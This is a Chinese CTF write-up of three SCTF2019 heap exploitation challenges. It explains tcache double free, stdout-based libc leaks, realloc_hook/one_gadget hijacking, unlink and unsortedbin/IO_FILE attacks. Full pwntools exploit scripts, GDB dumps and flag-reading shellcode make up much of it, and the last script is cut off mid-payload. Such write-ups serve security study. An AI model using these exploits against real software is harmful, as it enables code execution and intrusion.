SCTF2019 pwn

周末和大佬们打了SCTF,太菜了,感觉自己做的题目还是太少,见的类型也少,天枢这次一共做了3道pwn题,第一天都卡在one_heap了,free四次真的太少了,第二天早上two_heap和easy_heap出的很快,easy_heap和姚老板在TSCTF2019上出的babyheap一样,我还没把脚本改完大佬已经拿到了1血…

one_heap

这道题我只做到利用三次free泄露libc,然后就没有重叠的块了,剩下的一次free的机会也没法用。这个exp是队里整理的exp,我也分不清是谁做的了,好像大家都参与了。

题目描述

题目有add和delete两个功能,只允许add15次,free4次,每次free的都是最新add的chunk。

因为没有show函数,需要修改stdout泄露libc。

libc是2.27,有tcache。

新的劫持控制流方式

这里学到了一种新的劫持控制流的方法,之前只是覆写malloc_hook为one_gadget,但是这道题目所有的one_gadget都不能成功,因为malloc_hook的低8字节处就是realloc_hook,可以将malloc_hook覆写为realloc函数的地址,将realloc_hook覆写为one_gadget,这样在执行malloc函数时会跳转到realloc函数中去执行,在realloc函数有一些对栈的操作能够满足one_gadget的要求,因为realloc_hook不为空,就会跳转到realloc_hook来执行,从而跳转到one_gadget执行。

利用过程

因为只有4次free,泄露libc需要main_arena的地址,需要让double free的chunk进入到unsorted bin中,如果double free使用了2次free,进入unsorted bin还要用一次free。另外一次free还需要构造好重叠块。

首先构造double free,另外在最后一个chunk中伪造一个prev_size和size,为后面chunk overlapping做准备。

1
2
3
4
5
6
New(0x7f,'\n') #0
New(0x7f,'\n') #1
Delete()
Delete()
New(0x2f, p64(0) * 4 + p64(0x90) + '\x20' + '\n') #2
Delete()

伪造的chunk在#2中,具体如下:

1
2
3
4
5
6
gdb-peda$ x /10gx 0x555555757370
0x555555757370: 0x0000000000000090 0x0000000000000040
0x555555757380: 0x0000000000000000 0x0000000000000000
0x555555757390: 0x0000000000000000 0x0000000000000000
0x5555557573a0: 0x0000000000000090 0x0000000000000020
0x5555557573b0: 0x0000000000000000 0x0000000000020c51 #top chunk

此时,bins里面已经有double free,另外最后申请的0x40的chunk已经进入tcache。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5555557573b0 (size : 0x20c50)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x40) tcache_entry[2](1): 0x555555757380
(0x90) tcache_entry[7](2): 0x5555557572f0 --> 0x5555557572f0 (overlap chunk with 0x5555557572e0(freed) )

再连续申请3个0x90的chunk,输入为换行符相当于不在chunk里写入内容,导致tcache 0x90中的chunk一直指向自己,一直在tcache里申请chunk,tcache 0x90的chunk的数目从0变为负数,此时再次释放一个0x90的chunk会导致其进入unsorted bin中。

1
2
3
4
New(0x7f,'\n') #3
New(0x7f,'\n') #4
New(0x7f,'\n') #5
Delete()

此时tcache中double free的chunk进入到unsorted bin中,我们就有了0x7f的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5555557573b0 (size : 0x20c50)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x5555557572e0 (size : 0x90)
(0x40) tcache_entry[2](1): 0x555555757380
(0x90) tcache_entry[7](255): 0x5555557572f0 (overlap chunk with 0x5555557572e0(freed) )

此时再申请一个0x30的chunk,会从unsortedbin里分割给用户,并覆盖fd的低字节为stdout的地址,使得tcache中0x90的fd指向stdout,因为unsortedbin和tcache 0x90的chunk是重叠的,再次申请一个0x90的chunk,然后修改unsortedbin的chunk大小为0x90,因为我们之前在0x555555757370处伪造了一个0x90,此时正好对上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5555557573b0 (size : 0x20c50)
last_remainder: 0x555555757310 (size : 0x90)
unsortbin: 0x555555757310 (size : 0x90) #由0x60修改为0x90
(0x40) tcache_entry[2](1): 0x555555757380 (overlap chunk with 0x555555757310(freed) )
(0x90) tcache_entry[7](254): 0x7ffff7dd0760 --> 0xfbad2887 (invaild memory)

我们之前伪造的0x90,这样伪造我们在unsortedbin和tcahe 0x40处就又有了重叠的chunk。

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ x /20gx 0x555555757310
0x555555757310: 0x0000000000000000 0x0000000000000091
0x555555757320: 0x00007ffff7dcfca0 0x00007ffff7dcfca0
0x555555757330: 0x0000000000000000 0x0000000000000000
0x555555757340: 0x0000000000000000 0x0000000000000000
0x555555757350: 0x0000000000000000 0x0000000000000000
0x555555757360: 0x0000000000000000 0x0000000000000000
0x555555757370: 0x0000000000000060 0x0000000000000040
0x555555757380: 0x0000000000000000 0x0000000000000000
0x555555757390: 0x0000000000000000 0x0000000000000000
0x5555557573a0: 0x0000000000000090 0x0000000000000020

对应的操作如下:

1
2
New(0x20,'\x60\x07\xdd'+'\n') #6 
New(0x7f, p64(0) * 5 + p64(0x91) + '\n') #7

然后申请到stdout的chunk,泄露libc:

1
2
3
4
5
6
7
8
9
10
11
New(0x7f,p64(0xfbad1800)+p64(0)*3+'\x00'+'\n') #8  

##libc
p.recvn(8)
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
libc_base = leak_addr - (0x7ffff7dd18b0-0x00007ffff79e4000)
print "libc_base:",hex(libc_base)

realloc_hook = libc.symbols['__realloc_hook'] + libc_base
realloc = libc_base + libc.symbols["realloc"]
one_gadget = libc_base + 0x10a38c

此时再从unsortedbin中申请一个0x70的chunk,正好可以修改tcache 0x40中chunk的fd:

1
New(0x68, p64(0) * 11 + p64(0x41) + p64(realloc_hook))

fd指向realloc_hook:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5555557573b0 (size : 0x20c50)
last_remainder: 0x555555757380 (size : 0x20)
unsortbin: 0x555555757380 (size : 0x20)
(0x40) tcache_entry[2](1): 0x555555757380 (overlap chunk with 0x555555757380(freed) )
(0x90) tcache_entry[7](253): 0xfbad2887 (invaild memory)
gdb-peda$ x /8gx 0x555555757380
0x555555757380: 0x00007ffff7dcfc28 0x0000000000000021
0x555555757390: 0x00007ffff7dcfca0 0x00007ffff7dcfca0
0x5555557573a0: 0x0000000000000020 0x0000000000000020
0x5555557573b0: 0x0000000000000000 0x0000000000020c51
gdb-peda$ p &__realloc_hook
$1 = (void *(**)(void *, size_t, const void *)) 0x7ffff7dcfc28 <__realloc_hook>

申请两次申请到realloc_hook的chunk,修改realloc_hook为one_gadget,修改malloc_hook为realloc函数+4的位置,最后申请chunk触发malloc_hook,然后跳转至realloc函数执行,因为realloc_hoo不为空,导致触发one_gadget。

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level="DEBUG")
context.terminal = ['tmux','split','-h']
debug = 1
if debug:
p = process('./one_heap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

else:
p = remote('47.104.89.129',23333)

def New(size,content):
p.recvuntil('Your choice:')
p.sendline('1')
p.recvuntil('Input the size:')
p.sendline(str(size))
p.recvuntil('Input the content:')
p.send(content)

def Delete():
p.recvuntil('Your choice:')
p.sendline('2')

def exp():
New(0x7f,'\n') #0
New(0x7f,'\n') #1
Delete()
Delete()
New(0x2f, p64(0) * 4 + p64(0x90) + '\x20' + '\n') #2
Delete()

New(0x7f,'\n') #3
New(0x7f,'\n') #4
New(0x7f,'\n') #5
Delete()

gdb.attach(p)

New(0x20,'\x60\x07\xdd'+'\n') #6
New(0x7f, p64(0) * 5 + p64(0x91) + '\n') #7
New(0x7f,p64(0xfbad1800)+p64(0)*3+'\x00'+'\n') #8

##libc
p.recvn(8)
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
libc_base = leak_addr - (0x7ffff7dd18b0-0x00007ffff79e4000)
print "libc_base:",hex(libc_base)

realloc = libc.symbols['realloc'] + libc_base
realloc_hook = libc.symbols["__realloc_hook"] + libc_base
one_gadget = libc_base + 0x10a38c

New(0x68, p64(0) * 11 + p64(0x41) + p64(realloc_hook)) #9
New(0x38, '\n') #10
New(0x38, p64(one_gadget)+p64(realloc+4) + '\n') #11

##trigger
print "libc_base:",hex(libc_base)
New(0x50,'aaaa\n')

p.interactive()

exp()

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0xe569f execve("/bin/sh", r14, r12)
constraints:
[r14] == NULL || r14 == NULL
[r12] == NULL || r12 == NULL

0xe5858 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
[[rbp-0x88]] == NULL || [rbp-0x88] == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe585f execve("/bin/sh", r10, [rbp-0x70])
constraints:
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe5863 execve("/bin/sh", r10, rdx)
constraints:
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

0x10a398 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL
'''

two_heap

这道题目17大佬使用了神奇的%a,直接泄露libc了。

题目描述

题目依然没有show函数,需要泄露libc,这次没有限制free的次数,根据索引释放chunk,可以double free,libc也是2.27。

在add函数中,题目对输入的size进行了&0xFFFFFFF8的操作,然后对计算之后的size进行检查,如果size已经存在过,就不允许再申请同样size的chunk了,这就导致某个大小的chunk只能申请2次,比如申请0x90的chunk,与运算完成后只能是0x80或0x88,但是构造double free需要4次。但是因为有最小chunk的限制为0x20,我们输入0x0、0x8、0x10和0x18的申请到的都是0x20的chunk。因此可以在0x20的chunk上构造double free。

题目还有明显的栈溢出和格式化字符串的漏洞,但是栈溢出没什么用,溢出3字节到v5,但是v5没用到,后面printf会输出v4,加了格式化字符串的检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
__int64 v4; // [rsp+1Ch] [rbp-1Ch]
int v5; // [rsp+24h] [rbp-14h]
unsigned __int64 v6; // [rsp+28h] [rbp-10h]

v6 = __readfsqword(0x28u);
sub_12D0();
v4 = 0LL;
v5 = 0;
puts("Welcome to SCTF:");
my_read(&v4, 11);
__printf_chk(1LL, &v4, 0xFFFFFFFFLL, 0xFFFFFFFFLL, 0xFFFFFFFFLL);
while ( 1 )
{
while ( 1 )
{
v3 = sub_1440();
if ( v3 != 1 )
break;
add();
}
if ( v3 != 2 )
{
puts("exit.");
exit(0);
}
delete();
}
}

利用过程

这里利用过程使用了%a%2$a%3$a泄露libc,虽然不知奥原因是什么。然后构造double free来修改malloc_hook为one_gadget。
程序一开始不能运行,用了上次用过的强行修改libc的脚本,脚本来源见参考,这个脚本实在是太方便了,再次感谢写脚本的大佬。
一直找不到ld.so文件,最后是在ubuntu 17.10安装过程中有一个try ubuntu的选项,然后试用将ld.so文件拷贝出来的…
完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from pwn import *

context.log_level = "debug"
context.terminal = ["tmux","split",'-h']

def change_ld(binary, ld):
"""
Force to use assigned new ld.so by changing the binary
"""
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None


if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)


for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr, ld.ljust(size, '\0'))
if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
if os.access(path, os.F_OK):
os.remove(path)
info("Removing exist file {}".format(path))
binary.save(path)
os.chmod(path, 0b111000000) #rwx------
success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
return ELF(path)


DEBUG = 0
if DEBUG:
elf = change_ld('./two_heap', './ld-linux-x86-64.so.2')
p = elf.process(env={'LD_PRELOAD':'./libc-2.26.so'})
libc = ELF("./libc-2.26.so")
#p = process("./two_heap")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

else:
p = remote("47.104.89.129",10002)
libc = ELF("./libc-2.26.so")


def add(size,data):
p.recvuntil("Your choice:")
p.sendline('1')
p.recvuntil("Input the size:")
p.sendline(str(size))
p.recvuntil("Input the note:")
p.send(data)
#sleep(2)

def delete(idx):
p.recvuntil("Your choice:")
p.sendline('2')
p.recvuntil("Input the index:")
p.sendline(str(idx))


##leak libc
p.recvuntil("Welcome to SCTF:")
p.sendline("%a%2$a%3$a")
p.recvuntil(".")
leak_addr = int('0x' + p.recvn(12)+'0',16)
print hex(leak_addr)
libc_base = leak_addr - (0x7ffff7fee720-0x00007ffff7e3f000)
print "libc_base:",hex(libc_base)

malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0xe361b
realloc_hook = libc_base + libc.symbols["__realloc_hook"]

add(0x8,'\n')
add(0x30,'\n')
delete(0)
delete(0)

#gdb.attach(p)
add(0x10,p64(malloc_hook)+'\n')
add(0x7,'')
add(0x18,p64(one_gadget)+'\n')

print hex(libc_base)

##trigger
p.recvuntil("Your choice:")
p.sendline('1')
p.recvuntil("Input the size:")
p.sendline('96')


p.interactive()

'''
0x45e0a execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x45e5e execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xe361b execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
ubuntu@ubuntu:~/Documents/SCTF/two_heap$ one_gadget ./libc-2.26.so
0x45e0a execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x45e5e execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xe361b execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
'''

预期解

看了官方的exp,预期解是libc2.26的负数溢出漏洞,使得size在[-0x10,0]时也可以申请到0x20的chunk,但是出题人忘了0x8也可以,所以不知道这个漏洞也可以申请4次0x20的chunk(0x0,0x8,0x10,0x18)。
看了官方exp发现还有一个泄露libc的格式化字符串,那目前有两个格式化字符串:

1
2
0x0p+00x0p+00x0.0
%a%2$a%3$a

easy_heap

这道题目和姚老板在TSCTF2019初赛的babyheap重合了,唯一的区别是这道题目add和edit是分离的,稍微修改脚本可以直接用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *

context.log_level = "debug"
context.terminal = ["tmux","split",'-h']

DEBUG = 0

if DEBUG:
p = process("./easy_heap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

else:
p = remote("132.232.100.67",10004)
libc = ELF("./libc.so.6")



def add(size):
p.recvuntil(">> ")
p.sendline('1')
p.recvuntil("Size: ")
p.sendline(str(size))
#p.recvuntil("Address ")
#heap_ptr = int(p.recvuntil("\n",drop=True),16)
#print hex(heap_ptr)

def delete(idx):
p.recvuntil(">> ")
p.sendline('2')
p.recvuntil("Index: ")
p.sendline(str(idx))

def edit(idx,data):
p.recvuntil(">> ")
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Content: ")
p.send(data)


p.recvuntil("Mmap: ")
mmap_addr = int(p.recvuntil('\n',drop=True),16)
print hex(mmap_addr)

add(0x80) #0
add(0x30) #1
add(0x68) #2
add(0xf0) #3
add(0x20) #4


delete(2)
add(0x68)
edit(2,'2'*0x60+p64(0x140))
delete(0)
delete(3)

add(0x80) #0
add(0x50) #3 0x60
add(0x40) #5 0x50
add(0xf0) #6 0x100

delete(5)
add(0x48)
edit(5,'a'*0x40+p64(0xf0+0x50)) #5 idx6:prev_size:0x140,size:0x100
delete(0)
delete(6) #free into unsortedbin 0x100+0x140 idx0~idx3+idx5~idx6

delete(2) #free into fastbin 0x70
add(0xc0) #0 unsortedbin addr the same as fastbin 0x70
add(0x20) #2
add(0xf0) #6
add(0x30) #7

delete(3) #0x60 free into fastbin 0x60
payload = 'a'*0x30 + p64(0) +p64(0x71) + '\xdd\x25' + '\n'
add(0x50)
edit(3,payload) #3


add(0x60) #8
add(0x60)
edit(9,'a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00'+'\n') #9 stdout
p.recvuntil("\x00\x18\xad\xfb")
p.recvn(28)
leak_addr = u64(p.recvn(8).ljust(8,'\x00'))
libc_base = leak_addr - (0x7ffff7dd2600-0x7ffff7a0d000)
print "libc_base:",hex(libc_base)


add(0x18) #10
add(0xf0) #11
delete(10)
add(0x18)
edit(10,'a'*0x10+p64(0x60)) #10 prev_size:0x60 idx4(0x40)+idx10(0x20)


malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0xf02a4
delete(8) #0x70
delete(3) #0x60
add(0x50)
edit(3,p64(0)*6+p64(0)+p64(0x71)+p64(malloc_hook-0x23)+'\n') #3
add(0x60) #8
add(0x60)

edit(12,'a'*0x13+p64(one_gadget)+'\n')
print hex(libc_base)

##trigger malloc_printerr
delete(2)
delete(8) #double free

p.interactive()

预期解

参考官方wp,利用思路如下:

  1. 首先构造unlink获得在bss段上的heap_list的写权限,这里unlink的是idx0。
  2. 编辑idx0在idx1上写入mmap_addr,编辑idx1在mmap_addr上写入shellcode。
  3. 申请idx3(从unsortedbin中),通过edit idx0修改idx2的heap_ptr为unsortedbin size的地址(低字节修改),编辑idx3修改unsortedbin的大小为0x61。
  4. 通过edit idx0修改idx2的heap_ptr为unsortedbin bk的地址(低字节修改),编辑idx3修改unsortedbin的bk为_IO_list_all-0x10。
  5. 在unsortedbin的chunk处伪造IO_FILE结构,构造虚表指针为heap_list+0x10。
  6. 在heap_list+0x10处伪造函数跳转表,修改跳转地址为mmap_addr。
  7. 申请chunk触发unsortedbin attack,程序报错触发_IO_flush_all_lockp,最终跳转到mmap_addr执行shellcode,读取flag文件并输出其内容。

这里主要说一下后面的伪造IO_FILE:
当进行unsortedbin attack时,由于bk被修改为_IO_list_all-0x10,解链后_IO_list_all处的内容变为main_arena+0x58:

1
2
3
4
5
6
7
gdb-peda$ p &_IO_list_all
$1 = (struct _IO_FILE_plus **) 0x7ffff7dd2520 <_IO_list_all>
gdb-peda$ x /8gx 0x7ffff7dd2520
0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd1b78 0x0000000000000000
0x7ffff7dd2530: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2540 <_IO_2_1_stderr_>: 0x00000000fbad2087 0x00007ffff7dd25c3
0x7ffff7dd2550 <_IO_2_1_stderr_+16>: 0x00007ffff7dd25c3 0x00007ffff7dd25c3

因此程序认为在main_arena+0x58是第一个IO_FILE,在main_arena+0x58处伪造的IO_FILE结构如下,_chain是下一个_IO_FILE的地址,_chain的位置正好是smallbin[4]的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
gdb-peda$ p (*(struct _IO_FILE_plus*) 0x00007ffff7dd1b78)
$2 = {
file = {
_flags = 0x55757230,
_IO_read_ptr = 0x555555757040 "",
_IO_read_end = 0x555555757040 "",
_IO_read_base = 0x7ffff7dd2510 "",
_IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "@puUUU",
_IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "@puUUU",
_IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177",
_IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177",
_IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177",
_IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177",
_IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177",
_IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177",
_markers = 0x555555757040,
_chain = 0x555555757040,
_fileno = 0xf7dd1bd8,
_flags2 = 0x7fff,
_old_offset = 0x7ffff7dd1bd8,
_cur_column = 0x1be8,
_vtable_offset = 0xdd,
_shortbuf = <incomplete sequence \367>,
_lock = 0x7ffff7dd1be8 <main_arena+200>,
_offset = 0x7ffff7dd1bf8,
_codecvt = 0x7ffff7dd1bf8 <main_arena+216>,
_wide_data = 0x7ffff7dd1c08 <main_arena+232>,
_freeres_list = 0x7ffff7dd1c08 <main_arena+232>,
_freeres_buf = 0x7ffff7dd1c18 <main_arena+248>,
__pad5 = 0x7ffff7dd1c18,
_mode = 0xf7dd1c28,
_unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000"
},
vtable = 0x7ffff7dd1c38 <main_arena+280>
}

当申请一个较小的chunk时,由于sunortedbin中的chunk属于smallbin的范围,chunk进入smallbin中,大小为0x60的chunk进入smallbin[4]:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555757230 (size : 0x20dd0)
last_remainder: 0x555555757040 (size : 0x60)
unsortbin: 0x555555757040 (size : 0x60)
(0x060) smallbin[ 4]: 0x555555757040 (overlap chunk with 0x555555757040(freed) )

在unsortedbin中伪造下一个IO_FILE结构,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
gdb-peda$ p (*(struct _IO_FILE_plus*) 0x555555757040)
$3 = {
file = {
_flags = 0x0,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177",
_IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177",
_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x0,
_offset = 0x0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x555555756070
}

在虚表指针的位置伪造函数跳转表,修改函数跳转地址为mmap_addr,程序跳转到mmap_addr,该段内存是可读可写可执行的,执行shellcode,读取flag文件并输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gdb-peda$ p (*(struct _IO_jump_t *)0x555555756070)
$4 = {
__dummy = 0xcacb33e000,
__dummy2 = 0xcacb33e000,
__finish = 0xcacb33e000,
__overflow = 0xcacb33e000,
__underflow = 0xcacb33e000,
__uflow = 0xcacb33e000,
__pbackfail = 0xcacb33e000,
__xsputn = 0xcacb33e000,
__xsgetn = 0xcacb33e000,
__seekoff = 0xcacb33e000,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from pwn import *

context.log_level = "debug"
context.terminal = ["tmux","split",'-h']

DEBUG = 1

if DEBUG:
p = process("./easy_heap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

else:
p = remote("132.232.100.67",10004)
libc = ELF("./libc.so.6")

def add(size):
p.recvuntil(">> ")
p.sendline('1')
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Address ")
heap_ptr = int(p.recvuntil("\n",drop=True),16)
print hex(heap_ptr)
return heap_ptr

def delete(idx):
p.recvuntil(">> ")
p.sendline('2')
p.recvuntil("Index: ")
p.sendline(str(idx))

def edit(idx,data):
p.recvuntil(">> ")
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Content: ")
p.send(data)


code = """
xor rsi,rsi
mov rax,SYS_open
nop
nop
call here
.string "./flag"
here:
pop rdi
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_read
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_write
syscall
mov rax,SYS_exit
syscall
"""
shellcode = asm(code,arch="amd64")

p.recvuntil("Mmap: ")
mmap_addr = int(p.recvuntil('\n',drop=True),16)
print hex(mmap_addr)


##unlink
heap_list = add(0xf8) - 0x8 #0
add(0xf0) #1
add(0x20) #2

payload = p64(0) + p64(0xf0)
payload += p64(heap_list+0x8-0x18) + p64(heap_list+0x8-0x10)
payload = payload.ljust(0xf0,'\x00')
payload += p64(0xf0)
edit(0,payload)
delete(1)


##mmap_addr->shellcode
payload = p64(0)*2 + p64(0xf8) + p64(heap_list-0x10)
payload += p64(0x1000) + p64(mmap_addr)
edit(0,payload+'\n')
edit(1,shellcode+'\n')


##unsorted bin size: 0x1c1->0x61
add(0x20) #3
payload = p64(0)*2 + p64(0xf8) + p64(heap_list-0x10)
payload += p64(0)*4 + p64(8) + '\x48' + '\n' #unsortedbin size
edit(0,payload)
edit(3,'\x61\x00'+'\n')

##unsortedbin attack
##bk -> IO_list_all-0x10
payload = p64(0)*2 + p64(0xf8) + p64(heap_list-0x10)
payload += p64(0)*4 + p64(8) + '\x58' + '\n' #unsortedbin bk
edit(0,payload)
edit(3,'\x10\x25'+'\n') #IO_list_all

##fake vtable
payload = p64(0)*2 + p64(0xf8) + p64(heap_list-0x10)
payload += p64(0)*4 + p64(0x1000) + '\x60' + '\n'
edit(0,payload)

fake_vtable = (heap_list - 0x202060) + 0x202070
payload = p64(2) + p64(3)
payload = payload.ljust(0xb8,'\x00')
payload += p64(fake_vtable)
